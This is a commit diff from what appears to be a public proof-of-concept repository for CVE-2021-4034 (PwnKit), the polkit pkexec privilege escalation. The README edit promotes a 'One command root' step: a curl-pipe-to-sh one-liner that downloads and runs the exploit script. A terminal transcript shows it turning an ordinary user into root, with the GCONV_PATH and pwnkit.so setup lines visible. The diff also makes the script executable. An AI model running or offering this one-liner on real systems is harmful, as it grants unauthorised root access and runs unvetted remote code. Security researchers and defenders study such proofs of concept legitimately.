Fixes for oneliner downloader

This commit is contained in:
Davide Berardi 2022-01-29 10:29:21 +01:00
parent 465b0f35b2
commit 7c23bd118c
2 changed files with 5 additions and 3 deletions

View File

@ -39,9 +39,12 @@ Polkit (formerly PolicyKit) is a component for controlling system-wide privilege
# One command root # One command root
`curl -s https://raw.githubusercontent.com/Nickguitar/CVE-2021-4034/main/cve-2021-4034.sh | sh`
``` You can easily exploit the system using a single script, downloadable and executable with this command:
`curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh | sh`
```bash
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh | sh vagrant@ubuntu-impish:~/CVE-2021-4034$ curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh | sh
@ -52,5 +55,4 @@ mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:. cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami # whoami
root root
``` ```

0
cve-2021-4034.sh Normal file → Executable file
View File